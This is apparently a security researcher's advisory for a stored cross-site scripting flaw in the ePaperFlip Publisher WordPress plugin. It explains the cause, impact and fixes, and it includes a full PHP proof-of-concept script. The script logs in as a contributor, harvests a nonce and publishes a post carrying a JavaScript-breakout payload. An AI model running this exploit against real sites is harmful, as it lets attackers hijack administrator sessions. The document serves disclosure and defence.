Atomic Edge analysis of CVE-2026-7662 (metadata-based):
This vulnerability allows authenticated attackers with Contributor-level access or higher to inject stored cross-site scripting (XSS) payloads through the ‘publicationid’ attribute of the ‘[epaperflip_embed]’ shortcode in the ePaperFlip Publisher plugin for WordPress. The plugin fails to sanitize user-supplied input in this attribute before embedding it directly into inline JavaScript. The CVSS v3.1 score is 6.4 (Medium), with network attack vector, low complexity, required authentication (low privileges), and scope change. The impact is low on confidentiality and integrity.
Root Cause: Based on the CWE-79 classification and the description, Atomic Edge research infers that the plugin processes the ‘publicationid’ shortcode attribute by concatenating it directly into JavaScript code that renders the ePaperFlip embed. No sanitization (e.g., via WordPress’s `sanitize_text_field()`) or output escaping (e.g., via `esc_js()` or `wp_json_encode()`) is applied. This allows an attacker to break out of the JavaScript string context using quotes or HTML entities and inject arbitrary HTML/JavaScript. The vulnerable parameter is the ‘publicationid’ attribute of the shortcode `[epaperflip_embed publicationid=”…”]`. No code diff is available; these conclusions are inferred from the CWE and description.
Exploitation: An attacker with Contributor+ privileges creates or edits a WordPress post or page. They insert the shortcode `[epaperflip_embed publicationid=”PAYLOAD”]` where PAYLOAD contains a malicious JavaScript payload. For example: `12345’alert(‘XSS’)`. Alternatively, using inline JavaScript injection: `12345′;alert(1);//`. The attacker saves the post. When any user (including administrators) views the post, the payload executes in the browser context of the viewer. The attack does not require a specific AJAX endpoint or REST route; it exploits the standard WordPress shortcode rendering mechanism.
Remediation: The fix requires proper sanitization and output escaping on the ‘publicationid’ attribute. The plugin should validate that the attribute is a numeric or alpha-numeric value (e.g., via `ctype_digit()` or a whitelist regex) and escape the attribute output with `esc_js()` or `wp_json_encode()` before embedding it into JavaScript. WordPress shortcode attributes should never be directly interpolated into inline script contexts without escaping. Since no patched version is listed, users should disable the plugin or remove all shortcode instances until a fix is available.
Impact: Successful exploitation allows arbitrary JavaScript execution in the context of any page containing the malicious shortcode. This can lead to session hijacking, cookie theft, phishing attacks, or defacement. The attacker requires Contributor-level access, meaning they can already create content, but the XSS can compromise higher-privileged users (editors, admins) and allow privilege escalation via admin session theft. The scope change in the CVSS vector indicates the compromised resource differs from the vulnerable component, meaning the injected script can access other parts of the WordPress admin or affect other users.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7662 - ePaperFlip Publisher <= 1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'publicationid' Shortcode Attribute
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$admin_url = $target_url . '/wp-login.php';
$post_url = $target_url . '/wp-admin/post-new.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Attacker credentials (must have at least Contributor role)
$username = 'attacker';
$password = 'attacker_password';
// XSS payload - breaks out of JavaScript string and executes arbitrary JavaScript
// Payload is injected into the 'publicationid' attribute of the shortcode
$payload = "12345';alert(1);//";
// Step 1: Login to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
echo "[+] Logged in as $usernamen";
// Step 2: Get the nonce for creating a new post
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
preg_match('/name="post_ID" value="(d+)"/', $response, $matches);
$post_id = $matches[1] ?? '';
if (empty($nonce)) {
die('Could not retrieve nonce.');
}
echo "[+] Retrieved nonce: $noncen";
// Step 3: Create a new post with the malicious shortcode
$post_content = '[epaperflip_embed publicationid="' . $payload . '"]';
$post_data = [
'_wpnonce' => $nonce,
'post_ID' => $post_id,
'action' => 'editpost',
'post_type' => 'post',
'post_title' => 'XSS Test Post',
'content' => $post_content,
'post_status' => 'publish',
'original_post_status' => 'draft',
'autosavenonce' => '',
'closedpostboxesnonce' => '',
'meta-box-order-nonce' => '',
'samplepermalinknonce' => '',
'post_author' => 1, // Adjust as needed
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'post-updated') !== false || strpos($response, 'message') !== false) {
echo "[+] Malicious post created.n";
} else {
echo "[!] Could not determine if post was created. Check manually.n";
}
// Step 4: Visit the post to trigger XSS (optional)
preg_match('/href="([^"]+)"[^>]*>View post/', $response, $matches);
$post_permalink = $matches[1] ?? '';
if (!empty($post_permalink)) {
echo "[+] Exploit URL: $post_permalinkn";
echo "[+] Visit this URL with a browser to verify XSS execution.n";
}
curl_close($ch);
echo "[+] Done.n";
